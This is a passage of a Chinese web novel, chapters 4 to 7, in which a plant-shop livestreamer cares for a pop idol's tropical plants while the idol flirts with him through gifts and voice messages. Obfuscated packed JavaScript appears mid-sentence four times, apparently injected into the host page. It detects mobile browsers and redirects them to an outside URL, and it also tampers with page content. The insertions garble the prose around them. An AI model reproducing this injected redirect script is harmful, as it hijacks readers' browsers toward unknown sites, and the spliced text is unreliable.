听说《剑隐》的导演白先海很严格,也一直对非科班的年轻演员很苛刻。 比预计时间晚了十分钟,温可言有些着急,没想到车刚开到闸口就有个穿着制服的保安出来,他手上拿着一个文件夹翻看对比车牌号,然后微笑着走过来。 “请问您是温先生吗?” “是的。” 保安温和礼貌地核对了车牌号和手机号,给出停车位指引就放行。 温可言感叹真不愧是明星小区,安保严格态度又好。 进了地下停车场,一排一排全都是豪车,温可言的X5在这里都不够看的。开到指定车位之后温可言下车,忍不住打量一下旁边的几辆车。 简承的车不少,有些被粉丝扒出来过,温可言也认识两辆。 不过夹在两辆豪车中间的比亚迪也是他的吗? 温可言挠挠头,去后备箱里拿带来的材料和寄养在大棚的四株热植。 东西都放在拖车里,温可言走到电梯间门口发现电梯间也有门禁。 正要发消息问的时候,简承一个语音通话打了过来。 “妈呀。”温可言吓得差点把手机扔了。 温可言干咳两声清嗓,“喂?” “温老板。” 曾经只能在手机电视、漆黑拥挤的观众席上听到的声音就这样实时出现在微信上,温可言比想象中还要紧张,也比想象中觉得自然。 离开镜头和聚光灯的简承,也是一个正常生活的普通人。 没有收到回应,简承又说了声:“在吗温老板?” 温可言微微攥紧拳头,“你好。” 简承:“你到哪里了?” “在停车场,”温可言总算想起自己还有正事,“我到电梯间门口了。” 简承那边很安静,“我猜也是。” 温可言:“……” “稍等我马上给你开门。”简承说。 电梯间门禁咔哒一声,温可言上前推开,“开了,谢谢。” 简承:“麻烦你了,一会儿……” “没有没有。”温可言拿着手机推门,手机离得远,还要拉小拖车:“那我先进去了简……先生,我手里东西很多。” 简承说好,然后主动挂了电话。 温可言把手机往屁兜里一塞,拖着东西等电梯上楼。 简承家在顶楼12楼,一梯一户,温可言输入密码进门。 “好大啊。”温可言环视半圈,看到了简承在社交平台上分享过的展示柜区域。 这个小区是上南市有名的富人区,很多明星都住在这个小区里。 网上的爆料说是三年前买的二手房,是这个小区的一期,一期是最早完工也是户型最小的。 尽管是户型最小的,也有二百平。 价格更不用说了,是温可言直播到80岁也买不起的价格。 房子应该是简承重装的,是他喜欢的简约暗色风格,五十平米的客厅里东西不多,除了沙发电视、一张堆了点快递盒子的餐桌和热植区基本上就没有别的东西了。 杂物也很少,看得出简承在家的时间很少,而且是一个人住。 温可言心里有点莫名的压力,不想再打量简承的家,视线停留在沙发后那一片绿植区。 看到了植物们温可言才觉得踏实很多,转身从拖车上拿了鞋套准备穿鞋套,没想到一低头看到了一双摆得很正的干净拖鞋。 温可言轻轻拿起放到一边,快速套上鞋套把一会儿要用的工具拿进去,在客厅铺了一张塑料布。 接着又来回搬运四盆热植,拆了包装衣服上难免蹭上盆里的土,温可言就弯着腰在铺好的塑料布上拍一拍。 温可言想起简承说他走之前有几盆状态不好了,踱步去热植区域检查,从左到右从上到下看了一遍,把有问题的几盆搬到塑料布上。 他拍了张照片发给简承。 温房:简先生,是这几盆状态不好吗? 简承又是很快回复:应该是的。 温房:好,我来看看,应该没有什么大问题。 温房:我看有几盆橙柄蔓长得比较大了,需要上水苔柱支撑一下,还有一些也需要换盆了。 。:是吗?我不太会弄这些。 温房:我帮你把支撑做了,但是今天没有带盆,下次再来换。 。:谢谢。 温可言还在手机上哒哒哒地输入文字,跟简承讲他的热植区有哪些问题,一大段话刚打了两行简承就发了消息来。 。:辛苦你了温老板,我定了晚餐,一会儿管家会送上来。 。:冰箱里有饮料和酒,你可以随意取用。 。:茶几上有个袋子,是我准备的一点小礼物,请你一定收下。 温可言:“……” 温房:不用不用,我弄完很快就走了。 。:一点心意。 “啊啊啊啊——”温可言一屁股坐在地上,捧着手机荡漾。 简承!我的偶像!你果然是一个超级无敌好的人! 但是进偶像家里吃偶像点的外卖会不会太过了,简承会不会太没有防备心了,万一进来变态偷内裤怎么办? 温可言下意识往阳台看了一眼。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344917|199496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >哦,没晾。 温可言现在全身都是力气,一鼓作气把三盆橙柄蔓的支撑做好,把这一百多盆里该修剪的修建好,准备去阳台找水壶的时候却没看见。 阳台一角堆满了各种各样的工具,还有几盆已经枯死的花烛。 温可言从那堆干盆里拿起一块板子,“天呐,鹿角蕨也能养死?” 甚至是鹿角蕨里非常好养的品种赛索尔。 温可言这么想着,忽然莫名笑了一下。 “简哥,看你住着大平层,工作这么多还单身我就放心了。” 温可言又去卫生间和客厅找了找,没有找到今天最重要的水壶,温可言只好又给简承发消息。 。:抱歉,可能在卧室的阳台。 。:出门前浇了次水,忘记放回来了。 温可言愣住,难道要进简承的卧室吗? 这也太像偷内裤的了! 没等温可言回复,简承打了个视频电话过来。 温可言立刻挂掉了。 。:怎么了? 你还好意思问怎么了?! 温房:不小心按到了,简先生你告诉我卧室是哪间就好。 。:右手边最里面。 “哦……” 温可言往右走去,站在门口做了下心理准备,然后推开房门。 推开门第一眼就看到了简承的衣帽间,房间很大,房间里有淡淡的香氛气味,像雪松,像带着淡淡泥土气息的森林。 温可言以为阳台也养了热植,还担心这样没加湿和自然照光很快就死了,没想到过去一看,就两盆挂在栏杆上的绿萝。 喷壶就放在绿萝下面。 温可言拿上喷壶快速出了卧室。 接水的时候听到门铃响了,温可言吓了一跳,而后反应过来刚刚简承说过给自己点了晚餐。 温可言跑去开门。 “简先生您……好。”管家呆在门口。 温可言扯出一个心虚的笑容,“您好。” 管家不明显地扫了一眼,眼神停留在温可言脸上,立刻恢复笑容说:“我是物业的管家Andy,这是简先生给您点的外卖。” 温可言接下,试图解释道:“我是……园艺师,对,我是简先生的园艺师。” “嗯嗯。”管家双手交握,点头微笑。 “真的。”温可言还指了指客厅里散落在地上的工具们。 在这种高端住宅当管家,最重要的就是嘴严加有眼力见。 管家不但不看,还后退一步,优雅鞠躬,“祝您用餐愉快。” 说完转身就走,深藏功与名。 温可言挠挠头,“哦……那拜拜。” 温可言关门进屋,餐桌上堆了很多没拆的快递,温可言左看右看,只能去茶几上吃。 一想到简承平时也在这里吃饭,温可言就觉得太冒昧了。 “哇,鳗鱼饭。”温可言一看到好吃的就没功夫冒昧了。 逛了一下午的街早就饿了,温可言拆开筷子就是一大口,吃了两口才想起这可是简承给自己点的饭,立刻拿出手机拍一张怼饭照留念。 ———— “简哥,吃好了吗?” 助理开门走上房车,“马上开始了。” 简承嗯了一声,不慌不忙地又看了一会儿手机屏幕里的监控画面。 假发连接处有些过敏发红,简承忍着不去碰,手机息屏后放下,顺手把盒饭的盖子盖好。 助理过来把盒子装进垃圾袋系好,说:“我觉得今天盒饭还行诶。” 简承一边整理衣服一边起身,“没鳗鱼饭好吃。” “啊?”助理被这没头没脑的话搞得有点迷惑,“什么?哥你明天想吃鳗鱼饭?” 简承只笑了笑,“走吧。” 5. 第 5 章 温可言是个很谨慎的人。 拍完照片不忘放进隐藏相册里。 这些年工作上要面对很多陌生人,温可言不会在工作中惨杂追星的情绪,他知道身为一个卖家,他只需要展示自己的专业和性格就好。 有时候会有顶着光合作用成员头像的顾客出现在直播间,温可言会不自觉用温柔的目光注视。 说起来温可言还发过“简承老婆”和“陈嘉俊狂野老妈”的快递呢。 温可言喜欢这种状态,他过好自己的生活,如果有一天他们能见面,希望是在演唱会场馆。 但现在一切都乱套了。 温可言还看了眼外卖的包装袋,想着下次自己也点。 该说不说,简承的吃商不错,比自己强。 茶几上还有一个纸袋,应该就是简承说的小礼物,上面全是英文,温可言微微皱眉读了一下,LA什么DU的,直到最后一个单词温可言才知道这是什么。 “哎呀,是巧克力!” 温可言喃喃自语:“收不收呢?” 温可言很喜欢吃巧克力,以前读的高中是寄宿制,每天还要跑操,温可言经常低血糖,江雯女士就买了很多不同的巧克力让温可言带去学校。现在身体素质好多了,但还是很喜欢吃巧克力。 “没吃过呢这个牌子,看包装感觉不便宜。” 温可言一边说着一边把巧克力塞进了自己包包里。 就当是园艺师的劳务费了。 吃完了饭,温可言一看时间都七点钟了,外面已经天黑。 温可言抓紧时间浇水打理,又给一些营养不足的补了肥。 简承的植物数量很多,该有的设备都有,冬天也有地暖,其实好好做一下搭配植物能活的很好。但他经常出差不在家是个大问题。 临走之前,温可言拎着一包塑料和土渣端详这些漂亮的热植们。 想着或许可以给简承建议一下,做个热植柜。 温可言出门之前拍了张图发给简承,说明自己已经养护结束离开。 温房:谢谢你的礼物。 回到家里已经快十点钟,爸妈都还没睡,温可言把毛毛在商场里买的小甜品拿给妈妈。 “我最爱吃这个了,替我谢谢毛毛。”江雯女士说着,眼睛瞟到温可言手上还有另一个袋子,“这是什么?” 温可言不自觉往上提一点给她看,“巧克力。” 江雯女士低头看,“我怎么没见过这个牌子,新开的?” 这些年江雯女士没少在上南市搜罗好吃的巧克力,这个儿子看起来什么都做得好,实际上照顾自己这方面糙得很。 温可言不擅长撒谎,犹豫了一下还是说:“我今天去帮出差的老顾客养护,他送我的。” “哟,看着不错。”江雯女士笑笑,“那这个顾客蛮会做人嘛,还知道你爱吃巧克力。” 温可言:“可能是巧合吧。” “不能这么讲的小宝。”江雯女士往沙发上一坐,说:“既然是老顾客那肯定经常看直播,看直播肯定能偶尔看到你吃巧克力。这是人家用心准备的。” 温可言脸颊浮上潮红,“哦……” 江雯女士:“我记得,之前有个来参观大棚的小妹妹来的时候也给你带过吧,说喜欢你的那个。” 说完她转头看向温可言,发现他脸颊红红便开朗大笑,“你脸红什么呀。” 老爸听到这个也歪个脑袋看,“不会变成直男了吧?哈哈!我们老温家又有后啦!” “你神经啊。”老妈说。 “也不是没有可能嘛。” “要你这么说,那我也有变成拉拉的可能。” 温可言听到这儿哈哈笑了两声,“妈你好潮啊,还知道拉拉。” 江雯女士:“……” 温可言回房间洗漱完,坐在书桌旁,郑重地从纸袋里取出了那盒巧克力。 橙色的盒子上有一个浅粉色的蝴蝶结,打开之后是歪歪扭扭的条状黑巧,温可言双手托着下巴,静静地欣赏了一会儿之后盖上。 珍藏。 今天下了小雨,基地大棚湿漉漉的。 温可言出门的时候穿少了,套着留在办公室的工作服坐在办公室里,看着窗外阴沉沉的天空想事情。 刚刚有个员工来辞职,温可言和他聊了一会儿。 他有了更好的工作机会,要去别的城市发展,那是行业内排行前五的老牌公司,温可言没有不同意的道理。 温可言平时没什么架子,好说话,给的薪资也不错。员工也感谢温可言,自己说了会工作到春节前,也愿意在此期间带新人培训。 园艺的普通员工很好招,但能做培育的不多。 想要一个新的热植品种以相对稳定的性状上市,幸运的话至少要两年,按照专业育种的标准要六七年。 目前强哥绿植能做培育的,算上温可言就三个人。 晚上的直播没有多少品可以上,温可言慢悠悠地和直播间的观众聊天。 “新叶黑斑畸形是因为什么?这个要看叶片状态和你的养护条件才知道,对,可以给我私信发一下。不过这种情况很大部分是因为叶片积水造成的,一定要注意这个。” “主包的手?对很粗糙,我天天干农活。” “我们大棚喷淋是有设备通风的,能把叶片吹干。” “领带,领带现在能卖的只有温蒂领带,宝宝你要哪种的。” “北京不能发了哦。” “我收了一包籽,现在不想种的话放冰箱吗?可以放冰箱,5℃左右,但放冰箱很容易发霉失活。” “主播你拉链开……” 温可言认真地看着弹幕,呆呆地说:“我穿的运动裤。” (11粉丝团)苏打人来了 (9粉丝团)anttt 通过首页推荐来了 哈哈bbby为主播点赞了 “想云逛大棚?嗯可以,明天或者后天下午我开播给大家看。” (19粉丝团)momo 来了 “……咳”温可言不自在地抬手整理一下头发,“欢迎新进直播间的b……朋友们,晚上好。” “今晚没有拍卖。” “怎么做标本?嗯那这样吧我这两天拍个教程发主页里。” [有没有热植柜推荐?] [momo大佬来了诶]< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344918|199496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> [今晚的铜锣烧套餐可不可以再上一个呀,想要qwq] 温可言不自在地抿抿唇,“不好意思宝宝,没有了。” [momo 送出浪漫花海一个] [momo 送出好戏开场一个] [大佬是同行吧] “不要送礼物啊!”温可言着急忙慌地去找关闭送礼物地方,但是没找到,只能一直说着:“大家千万不要送礼物好不好,我就是卖东西的。” [我去啥意思?] [催主播上新货吗?momo你说话呀!] [momo 送出应援气球一个] 温可言回到镜头前,看到简承又送了个礼物,着急得耳朵全红了,可怜又无助地从旁边拿了一颗粉锦鳟鱼放在台面上挡住自己的脸。 “不要送了……” 过了一会儿,温可言瞄一眼手机屏幕,简承已经停下了。 因为送了礼物,简承的账号排在了右上角观众列表的第一位,还是那个默认的头像,没说话。 温可言继续回答直播间的问题,知道简承在直播间之后温可言莫名的拘束,看到那些调戏自己的弹幕更是尴尬得脚趾扣地。 “嗯这样吧,反正冬季没什么可以卖的,我整理一下我们的一些课件,开播给大家讲讲日常养护的知识。” “好,会从很基础的讲起的。” “植物展会去,到时候会带一些小苗去线下送。” 因为没有东西卖,原本有差不多两百个观众的直播间慢慢变成了四五十个。 但那个默认的momo一直没走。 “好了快十一点了,要下播了。明天晚上不播,云逛大棚的话后天下午吧,好的好的,拜拜。” 温可言视线不自觉地一直看右上角,拜拜说了三四次他也没有退出。 以前简承来直播间都是来买热植的,印象中从来不会发言聊天,更不会送礼物,只会在拍看中的品时一直加价。 可以说只要他看上的品,一定会加到买到它。 直播间里的观众瞬间掉到七八个,顶着19级粉丝灯牌的momo还是没有走。 温可言莫名有种被简承一直盯着自己的感觉,虽然事实应该是他放着手机去干别的事了。温可言不自在地整理一会儿桌面,抬眼一看,简承已经是最后一个观众。 另一边,简承躺在沙发里,被翻得有些旧的剧本散落在腰侧。他面无表情地看着手机里有些局促的温可言,看他不好意思地笑了笑,在关闭直播间之前又轻声说了句:“拜拜。” 简承把手机随便一扔,戴上眼镜,拿起剧本的瞬间嘴角勾了勾。 他举着剧本随意翻动,嘴唇轻轻动了下,好像在说“拜拜”。 下了播,温可言一边收拾着桌面一边想着简承今晚的举动。 难道是觉得自己帮他照顾了绿植们,送礼物感谢? 可是自己说过不用了呀,他也送了礼物,而且他那么低调的人,以前从来不在直播间说话。 就算真的想付钱,直接转微信不是更好吗? “不是。”温可言把手里的抹布往桌子上一扔,“他什么意思啊??” 6. 第 6 章 直播间里的三个礼物只是意外。 接下来的一周里他没有再出现过,momo没来,简承也没来。 温可言的生活按部就班的进行着,周五那天还出差去了一趟南京,去业内的大佬棚子里参观交流,买了几株母本回来。 前一天的行程太满,温可言没怎么睡好,回程的路上在服务区停下来休息。 等泡面的时候切换账号冲浪,居然刷到了简承受伤的内容。 模糊的路透视频里简承坐在路边,剧组的工作人员正在给他包扎,隐隐约约能看到右手手臂一片暗色,像是干涸的血迹。 一开始粉丝以为是在做受伤的特效妆,后面有人透露那是真受伤了。 光合作用整个团出道的时候平均年龄还不到18岁,最大的简承也就19岁,是粉丝一路看着长大的,难免有妈粉心态,在网上维权让剧组给个说法。 温可言看了又看,也有点心疼,担心他伤得太严重。 想着一周的时间到了,正好明天要上门去浇水,温可言壮着胆子给他微信试探。 温房:简先生,明天下午我会上门养护热植。 温房:有什么需要交待的吗? 泡面好了,简承没有回。 不会真的很严重吧。 温可言吃完泡面上路继续回家。 四点半,温可言到家了。简承没有回。 六点钟,妈妈叫吃饭了。简承没有回。 八点钟,温可言到大棚了。简承没有回。 “怎么了,心事重重的。”秦烟正在收花剑。 “没事。”温可言开了一天车本来就累,心里有事,无精打采地拿着剪刀却不干活。 秦烟看了他一眼,“累就回家休息吧,我自己来就行。” 温可言叹口气,扯过一只花剑,发现还没有到采收的成熟度又放回去。 他看着秦烟咔嚓一下剪下一根成熟的花剑,没头没脑地说:“小烟姐,你说你右手受伤了咋办?” “算工伤。”秦烟说着,笑一下,“干嘛呀你,我真受伤了你自己干活吧,我正好提前回家过年了。” “那他会不会回来休息呢?” “谁?”秦烟转头,把收下来的花剑放筐子里。 温可言:“简承。” 秦烟:“我说怎么心不在焉的,原来是你简承哥哥受伤了?” “嗯。”温可言拿出手机看了看,简承还是会消息也没有发微博报平安,“好像是拍戏的时候伤到了,流了好多血。” 秦烟吸一下鼻子,“啊?严重吗?” “不知道。”温可言歪头去看秦烟,“你感冒啦?” 秦烟扭头,因为频繁擦鼻涕鼻周红红的,看起来很命苦:“亲爱的老板,我感冒四天了。” 温可言不好意思地道歉,“对不起啊,我都没注意到。” 说完赶紧把秦烟的剪刀收了,把她推走,“快回去休息,我来收。” “哎呀也不至于。”秦烟说。 温可言推着她往外走,“至于至于,也没剩多少了。” 秦烟:“那一会儿你记得登记一下哦,放好明天上午来播种。” “好。”温可言看着秦烟离开,自己打起精神来收种子。 花剑是花烛结果的部分,通常来说一片新叶会伴随着一支花剑,在窗口期将父本的花粉人工授粉到母本出蜜的花剑上,由此达到两株花烛杂交的效果。 这样适合人工授粉的周期只有两天左右,需要每天监控母本花剑的生长状态。 育种的人充当的就是小蜜蜂的角色,人工可以控制想要杂交的品种,这一批都是三个月前授粉过的花剑,到了采收的时候,这几天都在陆续采收。 为了防止有别的花粉飘过来,花剑都套上了袋子,袋子贴着标签,上面写明父母本和授粉时间。 温可言一个一个的查看花剑的状态,将成熟的花剑剪下来。 成熟的花烛种子有不用的颜色,有黑一点的也有红一点的,也有黄色的,一颗颗紧密排列在花剑上,像饱满的鱼籽。 今晚一共收到了二十株,其中有一株垂在角落里没注意,已经熟过头了。 一支花剑大概有两百到三百颗种子,温可言一一将它们搓下来放好,准备明天播种。 大棚的晚上很安静,只有通风设备呼呼吹着。 温可言从过道里穿过去调试设备,大棚尽头放着很多自留的大热植,有巨大的钟摆领带花烛,有叶茎和胳膊一样粗的海芋和叶片长达一米的帝王花烛。 很早之前温可言就在这里放了个藤编椅,心里有事儿的时候会来这里坐坐。 后来很多来大棚参观的花友都会在这里拍照打卡。 据花友们反馈,坐在这里的时候感觉自己像生活在亚马逊的猴子,很放松。 温可言躺下,藤编椅微微摇晃着,温可言眼前全是充满生命力的巨大热植,觉得自己像一只忧郁的猴子。 他脑袋乱乱的,各种乱七八糟的事缠在一起。 手边有一株长得非常好的锦杂花烛,是用黑丝绒花烛和锦杂戴斯花烛杂交得来的,它是那一批籽播里最漂亮的一株。 温可言一直觉得,简承像一株脆弱又美丽的锦杂花烛。 漂亮华丽的锦化叶片,实则是通过不断筛选一些因为基因突变导致叶绿素缺失,叶片出现白色、黄色、红色等斑块的变异个体而得来的。 为了保持叶片的景色,需要严格控制湿度光照等等条件,一旦偏离那个环境,叶片就有可能出退锦或者长出难看的斑块。 简承通过严苛的练习,不断根据反馈更改、进阶,成为一个符合市场需求的爱豆,从千万练习生中脱颖而出,为了保持美丽,十年如一日的保持自律。 否则就有可能变成一个没有魅力的普通男人。 温可言太抬起手,轻轻抚摸着这片漂亮的锦化叶片。 “其实……原生品种也很漂亮。”他轻声说。 正胡思乱想的时候,手机响了一下,应该是妈妈催他回家休息了。温可言懒散起身,点进微信里看一眼。 。:[语音] 温可言一屁股坐下来,点开语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344919|199496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音。 简承:“你看着办就好,不好意思今天比较忙现在才回消息。” 温可言差点下意识地回一条语音,反应过来之后赶紧松手取消。 温可言手指翻飞打字。 好的,那我明天过去。简先生你工作还顺利吗?没有受伤吧。 ——不行太刻意了,删掉。 好的,那我明天过去。哈哈哈你工作好忙哦,要注意身体哟。 ——不行好傻啊,删掉。 好的,那我…… 温可言一顿输出,手心都出汗了,一条信息都没有发过去。倒是简承又发了条语音来。 简承:“我的手受伤了,打字不方便所以用语音,希望温老板别介意。” 富有磁性的嗓音在空荡的大棚里回荡。 温可言呆呆地眨了眨眼,不知道是不是错觉,这一条语音里的简承好像压着声音回的,而且是把话筒凑得很近的那种。 不过听起来声音还是挺健康雄厚的,那手上的伤应该没有很严重吧。 温可言抿了抿唇,打字回复。 温房:不介意,简先生你的手伤严重吗? 简承:“嗯,很痛。” 简承:“这两天都只能用左手吃饭了。” “啊?”温可言坐直,“这剧组怎么搞的?!不舞刀弄剑也不吊威亚,怎么伤得这么严重!” 温房:怎么这么严重? 简承:“只是意外,不用太担心。” 温房:你都说吃不了饭了…… 简承:“做我们这一行的很正常,所以说非常感谢温老板,我这样估计也没办法给宝贝们浇水了。” 简承:[图片] 简承:“我还有左手,说起来我一直以为自己左手很灵活,没想到连筷子也用不了。” 图片是用白色盘子装着一份炒饭,用过的筷子摆在边缘。图片右上角甚至还露出了剧本一角,看到了项目名字。 简承:“在等酒店送勺子过来。” 一条又一条的消息发过来,温可言摸摸鼻子。 原来简承私底下是个分享欲这么强的人吗?尽管只是跟一个卖热植的人。 身为一个爱豆,这也太没防备心了吧! 温可言心里有点莫名的不爽,并不是很想听他说这么私密的话题。 温房:哦哦好的。 温房:那我明天下午三点左右会去您家里浇水换盆。 对面好一会儿都没有回消息,温可言等了又等,等到无聊,只好切到微博去看看。 切到微博温可言才发现,十几分钟前简承就发了报平安的微博。 说自己拍戏大意伤到了手,但是不严重,包上纱布正好不用化手部特效了。 配图是第一视角,包着纱布的右手比了个耶。 “什么意思……”温可言喃喃,“发微博说不严重,跟我说很痛。” 这时候微信弹出消息,温可言立刻点进去。 一条只有四秒的语音。 简承:“温老板一点也不好奇我是做什么的吗?” 7. 第 7 章 没什么好好奇的,你的信息行程网上全都是。 温可言挠挠头,直接说不好奇有点太刻意了,而且自己去过他家里,半面墙的展示柜里都是他的奖杯奖状,说自己没看到也很假。 温房:哈哈,其实大概知道的看到了你的奖状,但不清楚具体是做什么的,我平时不关注娱乐圈。 。:“我猜也是。” 。:“温老板是怕我尴尬才刻意回避的么?觉得做这行的人确实都比较注重隐私。” 温房:哈哈是的。 。:“我叫简承,最开始是男团出道的。” 温房:这样啊…… 。:“不过现在组合各自活动了,我一边做音乐一边拍戏,这次出来就是来四川拍戏的。” 酒店的员工送来新的餐具,简承开门接下之后回到茶几旁,看到温可言又回了条消息。 温房:哈哈好厉害。 简承无奈笑了下,勺子放在一旁,并没有多少胃口吃东西。只是这一天从早忙到晚几乎没进食,再不吃点怕胃不舒服。 手上的右手手背包扎得很严实,今天走戏的时候路边的钢管道具被群演碰到倒下来,巷子很窄简承避无可避,只伤到手背已经算是防御得当了。 伤口挺长一条,但不深,出血比较多现场看起来比较吓人。在剧组简单止血后就去医院消毒包扎了,还打了针破伤风。 这次是男二号,和男一的戏份几乎一样多,为了不耽误剧组的进度简承没休息,下午就回去拍戏了。 简承下午就看到了温可言的消息,但当时没有持续聊天的条件就没有回复。 现在是持续聊天了,但“哈哈好厉害”这五个字表示了温可言的态度。 注意到温可言是三年前的事,简承终于买了房子装修好,特地回了一趟屏东把外婆的骨灰迁到上南市,给她买了墓地立了碑。 回屏东的时候简承也去了外婆的老家,房子早就被父亲卖掉了,现在是一个幼儿园。 简承已经快要忘记老屋的样子,但那天站在路口的时候,想起从前门口有好多蓬莱蕉,长得特别大,比四五岁的简承还要高。 外婆是个养殖高手,从水稻蔬菜到花花草草,经过外婆的手一律长得枝繁叶茂。 回到上南市安顿好外婆之后,简承忽然想要在空荡荡的家里养一点植物。 于是简承戴上帽子口罩,出发去位于郊外的花鸟市场,随意走进了一家绿植店,老板正在修剪枝丫,热情地招待了简承,告诉他蓬莱蕉就是龟背竹。 简承到现在都记得,结账的时候柜台上放了一株小小的龟背竹,叶片是白色和绿色交杂的。 老板告诉他,这叫妙蛙种子,是他儿子在培育这些。 说罢拿出一个小礼包送给他,说有兴趣可以看看。 简承太忙了,那个小礼包也不知道丢到哪里去了。直到某个创作卡壳的冬夜,简承转着椅子百无聊赖的在小红书上乱逛。 简承的小红书是一个游客账号,没有注册。软件是之前参加平台赞助的综艺时下载的,登录了节目组准备好的账号,后面录制结束账号退出,就这么留着,闲得无聊的时候会点进去看看。 就是那个晚上刷到温可言的。 简承一只手在键盘上按着无序的旋律,另一只手停留在眼熟的“强哥绿植”上。 他点进去,看到了正在直播的温可言和“强哥”。 那是个粉丝不多的账号,播到凌晨一点多,直播间有二十多个人,一个momo弹幕指定要看克莱恩花烛,看了好几颗都不满意。在直播领域还有些稚嫩的温可言顶着被炮轰过一样蓬松的头发,一颗一颗地把叶片凑到镜头面前让顾客看纹路。 “这颗可以吗?叶脉非常漂亮,好可以是吧,那我给你上连接。妙蛙种子有的,老爸!挑两颗妙蛙种子!克莱恩的链接开好了哦28号链接,一物一拍,momo需要的话可以拍了。” 简承靠着椅背,弹琴的手不知何时已经停了下来。 他看着直播间布景里各种各样漂亮的植物,看着稀疏的弹幕,看着两个不熟练但很热情的主播。 还目睹说好要买克莱恩花烛的momo消失在直播间。 温可言也发现了,他有些尴尬地摸摸脖子,依旧温和可爱的笑着,继续给别人看货。 其实简承没有养其他热植的打算,也没有做任何功课。 他想起屏东的老屋,老屋周围长满了各种各样的植物,觉得都是差不多的,应该很好养。 也可能是觉得那位跑路的momo有点讨厌,简承买下了那株克莱恩花烛。 从那时候起,简承有了自己的账号,他是一个不讨厌的momo。 冬季是热植的淡季,但简承依然买了很多。 那以后简承有事没事就逛热植直播间,从一开始几十一百块,到后来几千上万块。 强哥绿植也从简单的普货一物一拍,到锦杂精品拍卖模式。 简承其实觉得自己不适合养那么多热植,他太忙了,总是养死。外婆的土灵根一点也没有遗传到简承身上,但他已经习惯了伴着直播间的声音吃饭、泡澡、运动。 他喜欢温可言一家。 最开始是强哥和江女士帮温可言打下手,一家人热热闹闹的,很亲和,不管花友有什么问题都会解答。 有时候说不明白,强哥就真性情的连麦帮顾客视频看植物的状态。 甚至连果苗嫁接都懂! 江女士则是精通花艺布置,怎么搭配才能让热植给家里增添美观度。 简承曾经尝试过按照江女士的搭配理念整理热植们,但数量实在是太多,他也不敢连麦直播让江女士看。 有一次,连着三天温可言都没有上播,花友们问小温老板呢? 温可言的同事说,他请假去看演唱会了。 刚从演唱会庆功宴回来的简承微微皱眉,一边卸妆一边点开了由温可言运营的日常养护账号,ip一致。 总而言之,简承关注温可言很久很久了,久到几乎身边每个人都知道温可言。 他们问这卖的什么的时候,简承说这是橙柄锦;他们问怎么换人了这是谁的时候,简承说是小烟姐;他们问怎么没人主播呢的时候,简承说他挪出去吃两口饭。 他们问,看这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344920|199496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么久了你俩认识吗? 简承没回答。 认识,他们认识。 但还没有互相认识,简承想了很久,他确定,自己想和温可言互相认识。 可是温可言装不认识自己,尽管简承第一时间就故意露出能表明身份的照片。 简承觉得很有意思,他决定逗逗温可言,没想到他来真的。 他说他不怎么认识自己,说他不关注娱乐圈。 简承的对温可言的评价是:演技很差。 简承看着“哈哈好厉害”这五个字,没忍住笑出声来。他按着语音键用看似平常又暗藏情绪的语气开口:“温老板,你明天想吃什么?” “……”温可言愣住,真的很想直接对线问一句:“简承你到底是什么意思?” 温可言恨不得把这些聊天记录发到网上去让粉丝们分析一下。 温房:真的不用! 简承:“一点感谢的心意。” 温房:这只是正常的售后服务,简先生,你再这么客气我都不好意思去了。 大棚里的通风设备呼呼响着,吹得温可言的脑袋更乱了,等回答的时候转头冲着那株锦杂花烛问:“你什么意思?” 花烛随风动了动。 温可言伸出手指,抵着叶脉恶狠狠道:“说话!” 手机叮地一声,简承回消息了。 “你不去的话,孩子们怎么办?” 温房发:简先生…… 新的语音发过来,点开的瞬间是简承的轻笑声。 他轻声说:“抱歉,开玩笑的。” 温可言的耳朵以肉眼可见的速度烧起来。 这一声轻笑曾经无数次出现在粉丝产出的“梦女文学”里,那些细腻又热烈的文字无比详尽的描写着简承是如何这样与“我”耳鬓厮磨,散发魅力的。 他笑起来弯弯的眼睛,他轻轻勾起的唇角,还有近在耳边仿佛挑逗的轻笑。 在同人创作中,这些都属于“我”。 但现在属于一个做园艺的老实人。 温可言拿着手机,情不自禁地点开又听了一遍。 